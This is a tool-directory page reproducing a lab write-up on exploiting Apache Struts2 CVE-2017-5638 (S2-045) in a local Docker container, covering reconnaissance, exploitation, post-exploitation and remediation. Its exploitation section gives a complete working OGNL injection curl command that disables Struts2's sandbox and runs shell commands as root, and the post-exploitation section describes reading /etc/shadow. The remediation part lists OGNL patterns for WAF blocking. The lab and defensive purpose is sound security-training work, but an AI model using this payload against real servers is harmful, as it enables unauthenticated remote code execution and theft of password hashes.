Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2017-5638 | Kitploit
Tools/GitHubGitHub/dungsocool/cve-2017-5638
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubdungsocool/cve-2017-5638

CVE-2017-5638

View Repository
2 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

LAB 1 — Apache Struts2 OGNL Injection (CVE-2017-5638 / S2-045)

I. SYSTEM ANALYSIS

Attack Surface Analysis

image.png

After starting the container, Struts2 logs show that the application loads familiar configuration files such as struts-default.xml, struts-plugin.xml, and struts.xml. This confirms that the framework in use is Apache Struts2.

image.png

A notable point lies in the line:

Choosing bean (jakarta) for (org.apache.struts2.dispatcher.multipart.MultiPartRequest)

This line indicates that Struts2 is choosing the Jakarta multipart parser (multipart upload data analyzer) to handle requests of type multipart/form-data, which is commonly encountered in file upload functionality.

This is a crucial signal when analyzing S2-045 / CVE-2017-5638, since this vulnerability is related to the process where Struts2 handles errors when parsing multipart requests, especially with an invalid Content-Type header.

However, this log only proves that the application uses Struts2 and a Jakarta-style multipart handler. It is not yet sufficient to conclude that the application is definitely vulnerable. To confirm, we need to determine the version of struts2-core and compare it against the affected version range.

image.png

image.png

image.png

When accessing the web service using curl, the response headers show that the application is running on Jetty 9.2.11.v20150529. This information helps identify the environment running the application (servlet container), but does not directly reveal the version of Struts2.

The web interface returns the Struts2 Showcase - Fileupload sample page, with an upload form using:

method="POST" enctype="multipart/form-data" action="/upload.action"

This matches the earlier log where Struts2 chose jakarta for MultiPartRequest: the application indeed has a file upload handling flow via multipart/form-data.

⇒ Thinking: The endpoint /upload.action uses multipart/form-data, matching the mechanism Struts2 processes via Jakarta MultiPartRequest. This is a sign that strengthens the suspicion of S2-045/CVE-2017-5638, but we need to determine the Struts2 version before concluding the application is vulnerable. Next, deeper verification is still needed regarding the version of struts2-core and how the application handles errors when receiving an invalid Content-Type.

Determining Struts2 Version

After identifying that the application has an upload endpoint using multipart/form-data, the next analysis step is to find the actual version of Struts2. This is crucial because previous signs only showed that the application has a mechanism related to multipart upload, which is not yet sufficient to conclude it is vulnerable.

image.png

After identifying the correct container serving Endpoint 8001, checking the libraries is performed directly inside the container project1-lab01-1.

The result found the struts2-core file:

/root/.m2/repository/org/apache/struts/struts2-core/2.3.30/struts2-core-2.3.30.jar

From this path, we can determine that the application is using Apache Struts2 2.3.30.

image.png

Comparing this with the published CVE-2017-5638 / S2-045 vulnerability, it affects many older Struts2 versions, including the 2.3.x branch before the patch. When combined with:

Framework: Apache Struts2 Version: 2.3.30 Multipart parser: Jakarta Endpoint: /upload.action Content-Type: multipart/form-data

The analysis condition chain becomes clearer:

`Struts2 Version 2.3.30 < Version 2.3.32

  • Jakarta multipart parser + upload endpoint → The application is within the strong suspicion range of S2-045/CVE-2017-5638`

However, from an analysis perspective, a vulnerable version is only evidence of the potential to be affected. To confirm on a behavioral level, we need to send an anomalous multipart request and observe the response/logs to see if it enters the error handling branch of the Struts2 multipart parser.

⇒ Thinking: At this point, it is no longer just about identifying the framework; version 2.3.30 confirms the application lies within the affected version range of S2-045/CVE-2017-5638. The remaining step is to verify the multipart error handling behavior to complete the chain of evidence.

Verifying Valid Multipart Processing Flow

image.png

We need to check if requests sent to /upload.action really go through the Struts2 multipart processing mechanism. Here, I use the curl command with the -F option to test the handling mechanism. And the returned result is broken down into parts:

`

  • ContentType: text/plain
  • FileName: test.txt
  • File: /usr/src/target/tmp/upload_...
  • Caption:test
  • `

    ⇒ A valid request proves that /upload.action indeed goes through the multipart upload mechanism because curl -F generates multipart/form-data and the server can parse each part of the request.

    Verifying Reaction When Multipart Request Fails

    image.png

    image.png

    After sending a request declaring Content-Type as multipart/form-data but with a body that does not conform to the multipart structure, the server still returns HTTP 200 OK. However, the ContentType, FileName, File, and Caption fields are all empty. Checking the Docker logs, we notice that there is no boundary (separator string between parts in multipart), and the client still receives HTTP 200 OK. However, Struts2 actually encountered an error while processing the request.

    This proves the chain of evidence:

    Faulty multipart request → Struts2 wraps request → MultiPartRequestWrapper is called → JakartaMultiPartRequest parses request → FileUploadException due to missing boundary

    ⇒ Matches the components related to S2-045/CVE-2017-5638. Thus, the condition chain is more complete: vulnerable version, Jakarta parser, upload endpoint, and the faulty request goes into the correct multipart processing branch.

    The critical point of S2-045/CVE-2017-5638 does not only lie in the multipart parser failing. The parser error is just the initial triggering condition. The dangerous part lies in how Struts2 subsequently handles the error message. With affected Struts2 versions, when the multipart parser encounters an error, the error content can be fed into the Struts2 message handling mechanism. If an attacker controls part of the data appearing in the error, especially from the Content-Type header, that data can be evaluated by Struts2 via OGNL (Object-Graph Navigation Language - the expression language of Struts/XWork).

    Thinking:

    Anomalous Content-Type → Jakarta multipart parser parsing error → Struts2 generates/logs error message → error message goes through expression evaluation mechanism → if malicious OGNL is present, it can lead to RCE


    II. EXPLOITATION

    Identifying that the target uses Struts2, and since Struts2 uses OGNL as its expression engine, searching on PayloadsAllTheThings shows that injecting new String(@java.lang.Runtime@getRuntime().exec("id").getInputStream().readAllBytes()) into Struts2 will fail because Struts2 has a sandbox that blocks access to java.lang.Runtime.

    image.png

    ⇒ Assemble the found payload into the Struts2 exploitation structure:

    Trigger Jakarta Parser

    root@kitploit:~
    (#_="multipart/form-data")
    

    Bypass Struts2 Sandbox (Required)

    root@kitploit:~
    (#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context["com.opensymphony.xwork2.ActionContext.container"]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm))))
    

    Command Execution Payload

    root@kitploit:~
    (new java.lang.String(@java.lang.Runtime@getRuntime().exec("id").getInputStream().readAllBytes()))
    

    However, when executing the payload in practice, we encounter two issues:

    1. Java Version Error: The lab server runs Jetty 2015 (Java 8), while the readAllBytes() function is only supported starting from Java 9. If we persist in using it, OGNL will silently fail and return a blank HTML page. This is resolved by switching to use the IOUtils class from the org.apache.commons.io library (always available in Struts2) to read the stream.
    2. Output Filtering: Even though the command has executed, embedding the result directly into the HTML stream can break the structure or get filtered. This is resolved by directly accessing the HttpServletResponse, using getWriter().println() to print the output first, and then calling flush() and close() to immediately terminate the connection. This forces the server to return the clean command execution result, bypassing all the junk HTML interface.

    ⇒ Reassembling the above modifications, we get the complete curl command (using ProcessBuilder + IOUtils + Response Writer):

    root@kitploit:~
    curl -i -s -X POST "http://192.168.3.137:8001/doUpload.action" \
    -H 'Content-Type: %{(#_="multipart/form-data").(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context["com.opensymphony.xwork2.ActionContext.container"]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd="id").(#iswin=(@java.lang.System@getProperty("os.name").toLowerCase().contains("win"))).(#cmds=(#iswin?{"cmd.exe","/c",#cmd}:{"/bin/bash","-c",#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))).(#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].getWriter().println(#ros)).(#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].getWriter().flush()).(#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].getWriter().close())}' \
    -d "foo=bar"
    

    image.png

    Exploitation Successful!!!

    Although we achieved RCE with root privileges, each command has to be sent via a separate HTTP request, providing a non-interactive environment. A Reverse Shell allows establishing a persistent session, directly interacting with the target system as if sitting in front of the machine, serving information gathering and deeper post-exploitation.


    III. POST-EXPLOITATION

    Privilege Verification

    After successful exploitation, verify the privileges on the system:

    root@kitploit:~
    uid=0(root) gid=0(root) groups=0(root)
    

    → The application runs with root privileges — no privilege escalation is needed.

    Sensitive Data Gathering

    Read the /etc/shadow file (the file containing password hashes, which only root has permission to access):

    image.png

    → Proves that the attacker has full read/write access to the system files, including the most sensitive ones.

    Note on Reverse Shell

    The reverse shell establishment was unsuccessful because the Docker container on Windows uses an internal network (bridge/NAT); the container cannot connect back to the attacker's machine (Kali) on the local LAN. However, this does not affect the severity of the vulnerability — the attacker achieved RCE with root privileges and can execute any command on the system.


    IV. RISK ASSESSMENT & REMEDIATION

    Risk Assessment

    The OGNL Injection vulnerability (CVE-2017-5638 / S2-045) on this system is assessed at the highest risk level:

    Remediation Recommendations

    To completely remediate this vulnerability, the system administration and development teams should implement the following measures (ordered by priority):

    Urgent Priorities (Short-Term):

    1. Upgrade Apache Struts2: Immediately update the framework to a secure version (≥ 2.3.32 or ≥ 2.5.10.1). This is a mandatory measure since the vulnerability resides in the core implementation of the JakartaMultiPartRequest library.
    2. Demote Execution Privileges: Never run web applications (Jetty/Tomcat) under the root user. A dedicated user (e.g., struts_user) should be created with the minimal privileges necessary to run the application.

    High Priorities (Long-Term & Defense-in-Depth):

    1. Deploy a WAF (Web Application Firewall): Configure WAF rules to detect and block HTTP Requests containing OGNL payloads (e.g., %{...}, ${...}, ognl, java.lang.ProcessBuilder) in the Content-Type header.
    2. Change Multipart Parser: If the application is not required to use the Jakarta Parser, consider switching to an alternative library such as Pell or COS in the struts.xml configuration file (struts.multipart.parser=cos).
    3. Restrict Container Networking: Do not keep the container on a shared bridge network unless necessary. Configure firewall rules to block the container from actively initiating outbound connections (Outbound traffic) to the Internet to prevent reverse shells.
    Download Tool
    CriteriaAssessmentDetails
    CVSS Score10.0 (Critical)Maximum absolute score.
    AuthenticationNot RequiredThe attacker does not need an account or to be logged in to exploit this.
    ComplexityVery LowOnly requires sending a single HTTP Request (POST) containing the payload in the Content-Type header.
    Privileges GainedrootFull control over the application/container at the highest privilege level, with the ability to read/write any file (such as /etc/shadow).
    Lateral MovementHighFrom the compromised container, the attacker can scan the internal network (LAN) and attack other containers or host servers.